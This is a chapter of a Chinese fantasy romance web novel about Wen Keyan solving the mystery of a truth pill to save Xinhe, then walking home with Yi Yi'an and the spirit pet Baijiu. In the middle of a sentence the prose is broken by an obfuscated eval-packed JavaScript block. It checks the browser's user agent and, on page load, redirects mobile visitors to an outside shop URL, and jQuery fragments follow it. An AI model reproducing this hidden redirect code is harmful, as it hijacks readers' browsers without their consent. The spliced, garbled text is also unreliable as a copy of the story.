两人回至小屋,文可烟第一件事,便是施法将两人的衣衫褪去,换上了舒适寝衣。
接着钻进被褥,蜷成一团后滚进羿逸安怀里,寻了个最舒服的姿势。
一切像什么也没发生一般,时光都还停留在昨晚。
温暖渐渐带走了文可烟最后一点清醒。
许是真的很累,许是脑中太多杂乱无章的琐事,她这一觉睡得极沉,竟直接眠至黄昏,就连身旁的羿逸安也被带动着一同沉沉睡去。
睡眼惺忪间,文可烟动了动坐起身来。羿逸安几乎同步醒来,也随着起身。
两人并肩坐在榻上醒神。
有时候,睡觉真的能解决一些事情,比如浑沌的大脑变得清明起来;比如,焦灼的心虚渐渐平复;比如,想不通的事,一下子就有了答案。
文可烟直接在床上,翻找起记录册。
页面停留在红念的那一页上,而她目光目光久久落在某几行字迹上。
……
“那人问了,与今日你们问的差不多的话,‘此次前来有何目的?’”
“哈,我能说什么?自是说‘没有’。”
“随后那人便从我衣袖中搜查到一把匕首,他冷笑一声,不屑道‘没有?’
之后他将我全身上下搜了一个遍,翻出了好多武器。我以为我的死期到了,可没想到,那人竟就这么离开了,他什么都没做,就这么离开了!”
“你一定也很疑惑吧?可更离奇还在后面,第二日我便死在原地。”
“现在想来,定是那枚药丸搞的鬼吧……那之后,我就出现在了冥界,眼睛……也就成了如今这般模样……”
……
羿逸安安静地没有作声,倒也没闲着,手指缠绕着文可烟落至腰际的发丝,一下一下又一下,却也没真正打扰到她。
见她研究得实在专注,他略微瞟过,其间似乎夹杂着“红念”两个大的字眼。
忽然间,文可烟记忆里似乎闯进来什么,迅速翻到属于“陈起”的那页。
纸上字迹清晰:
“他就问我消失的那些日子都去哪儿了,能不能告诉他。我自然也就马马虎虎地编造了一些理由,挑挑拣拣地回复了他。”
仔细比对之后,所有零碎的猜想在此刻严丝合缝,被逐一验证,串成成形的脉络。
“我……”文可烟轻声启唇。
羿逸安立刻转过脸来,视线转而落在文可烟位颤的睫毛上,一脸认真等待下文。
“我似乎找到方向了。”
羿逸安没有接话,只是用眼神鼓励文可烟继续说下去。
“但目前只是一个模糊的念头,我不敢肯定。”
“能找到方向,这已是莫大的好消息了。”羿逸安温声回应。
室内陷入沉寂,许久之后,文可烟下定决心:“那你带我去找芯核吧。”
其实,即便这个发现是真的,也谈不上是她救了芯核一命。早在服下‘一线生机’后,开口说话的那一刻,结局便已注定。
文可烟的选择,其实从未真正影响过羿逸安的安危。
她只是刚好发现了这个多年未解的秘密,又刚好在这一瞬间知晓了而已,而恰好在此时此刻,芯核是“受益人”。
除此之外,什么都不是。
转睫间,文可烟已站在芯核房中,一眼便见到了坐在桌前的阿轩。她脑中迟钝地反应了一下,浮现过某种说不清的异样,只是这点疑虑太轻,很快便被眼前更迫切的事冲散,没了踪影。
“文姑娘,是有消息了?”阿轩与文可烟视线相触,立即起身相迎。
文可烟没有立刻回答,只静静地看了阿轩一眼。
阿轩瞬间明了,垂下眼,侧身让开了通往内室的路。
文可烟径直往内室走去。
内室光线比外面暗了一些,芯核正立在屏风前,见文可烟进来,依礼轻声唤道:“尊上,小殿下。”
文可烟停在芯核面前,目光直直落在她脸上,开门见山道:“可否想起,服下药丸之后,你回答的第一个问题是什么?”
芯核被文可烟这样的直接,弄得一噎,停顿两秒后才答:“是齐云问我,‘你可知你方才服用了什么吗?’”
“我答的是,‘不知’。”
文可烟:“……”
虽说当下是很严肃的气氛,但不得不说,这番问答听来,实在有些哭笑不得,甚至渗出一丝荒诞的淡淡冷幽默。
“那么,你当时是真的不知,还是,说了慌?”
芯核抬眼迎上文可烟的目光,有些不明所以,却还是认真回答,“是真话。”
当这个结论被大脑完整接收时,一种复杂难言的情绪堵在心口。文可烟分不清此刻的感觉是如释重负的虚软,还是心口被什么东西骤然攥紧的闷痛。
唯一能确定的是,芯核的性命,保住了。
可羿逸安的处境依旧危机四伏,明枪易躲,暗箭难防。从今往后,文可烟必须更加留意芯核的动静。若芯核当真存有异心……
她必会毫不犹豫,亲手了结。
这大约是她离开之前,唯一能为他做的事了,替他规避一些,她已窥见的劫数。
“可此事与‘一线生机’有何直接关联?”阿轩忍不住上前一大步,步伐间是藏不住的焦灼。
“或许有。”文可烟轻声回应,语气平静,与阿轩相比,简直像两个电极的两端。
“但我尚不能确定,只能尽可能地收集一些线索。”
阿轩眼神一黯,肩膀肉眼可见地沉了下来。
“今夜,我会留在此处,哪儿也不去,陪着芯核。”
话音落下,芯核与阿轩皆是一震。但这话却像一颗定心丸,让阿轩紧绷的神情终于松开一条小口子。
羿逸安更是不用说,猛然抬眼看向文可烟,完全没想到她会如此决定。
但,于情于理,这般做似乎又是最妥当的安排。
可……
“我先回去稍作收拾,再过来时恐怕夜深了。若是困了,直接睡便是,不必等我。”
“无妨无妨。”阿轩连忙应道。此刻在他看来,只要文可烟愿意来,即便一夜间创造不了奇迹,但总归是多一分希望,还有机会。
说罢,文可烟便匆匆与羿逸安离开了芯核的住处。
踏出屋门,却发现,此下的天已是一片暗色。
文可烟回头望了眼芯核的小屋,暖黄的窗纸上,映着两个修长的身影,相隔不过咫尺,似乎还在低声交谈着什么。
她驻足片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951367|184831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻,终是收回视线,转回头专注于自己脚下的路。
“今夜,星辰甚好,我们还是走回去吧。”
不出所料,羿逸安的“好”立刻响起,没有半分迟疑。
深色暗处之下,两道身影依偎着漫步在朦胧夜色里。
这还是头一回,文可烟与羿逸安这般手牵着手走夜路。
晚风轻柔地拂过面颊,带着沁人的凉意。有那么几个瞬间,文可烟希望时光就停驻在此刻,就这样牵着羿逸安的手,一直走下去,似乎很好很好……
想到此处,她没有松开与羿逸安交握的手,反而就着这个亲昵的姿势,牵着他的手触碰自己另一只手腕上的镯子。
当指尖抚过镯身时,一道流光闪过,白酒便被唤了出来。
白酒晕乎乎地在半空中转了个圈,显然没料到烟烟会在这个时辰唤它出来。何况,它已经“独居”很长一段时间了。
乍一离开“小黑屋”,映入眼帘的画面更是“重磅一击”。
主人和烟烟不仅靠得这般近,竟还十指相扣地牵着手!
如此罕见!
这简直是它从未见过的世纪画面!
它收敛住自己有些夸张的惊讶表情,一声不吭地悬飞在文可烟这侧,连翅膀都放轻了扇动幅度。
见白酒一反常态地沉默,愣是一个声音都没发过,文可烟忍不住侧过头逗它:“白酒,今夜星辰不好看吗?怎么不说话?”
白酒悄悄抬起眼,先是瞄了眼羿逸安,最后将目光落在文可烟脸上,依然不作声,只是眼神时不时往两人交握的手上瞟。
文可烟顺着它的视线看去,顺势抬起了那双相握的手,在白酒同等高的位置,轻轻晃了晃,“怎么,不敢相信?”
白酒正犹豫着要怎么回答,却忽然感受到另一道微凉的视线落了过来,吓得它急忙扑扇着翅膀,连连摇头:“不!相信,当然相信,非常相信!”
文可烟略有疑虑地朝身侧的羿逸安转去,并未发现异常。她收回视线,放下手,温声道:“那走吧,我们一起回家。”
白酒愣在半空,圆溜溜的眼睛里错愕不已:“?”
烟烟特意把它叫出来,就只是为了让它跟着他们一起回家?
盯着前方自然得似连体婴儿般的两道紧密相贴的身影,白酒再次惊呆了。其中那个挺拔的身影,此刻竟微微侧首,垂眸凝视着娇小的身影。他的眼神太过专注,竟让它莫名想到了“温柔”二字。
温柔?这个词,怎么可能和主人联系在一起?
它震惊得忘了扇动翅膀,身子一歪,差点直直从半空中栽落下去。
直到文可烟停下脚步,回过头朝它招了招手,“走啊。”
白酒这才迟钝地开始扑扇翅膀,飘飘然地飞到文可烟身旁。
它确实有些不懂烟烟的心思,但这个夜晚,却真真切切被它记了很久很久。久到后来每每想起“美好”二字,眼前总会浮现出这幅画面,静谧无人之下,舒适的夜色里,唯有他们,踩着星光,慢慢往家的方向走去。
饶是谁出门晃悠一圈瞧见了,恐怕都会忍不住为这温馨的景象驻足停留片刻。
两人一灵宠,沐在月色里,愈发朦胧且柔美,好一副美好到极致的画面,美好得甚至有些不真实。